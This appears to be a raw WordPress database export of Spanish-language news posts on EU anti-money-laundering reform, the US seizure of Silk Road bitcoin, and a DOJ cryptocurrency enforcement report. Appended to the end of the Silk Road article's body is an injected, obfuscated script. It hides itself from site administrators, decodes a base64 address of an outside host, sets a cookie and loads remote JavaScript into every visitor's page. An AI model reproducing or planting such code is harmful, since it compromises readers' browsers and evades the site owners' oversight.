inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades 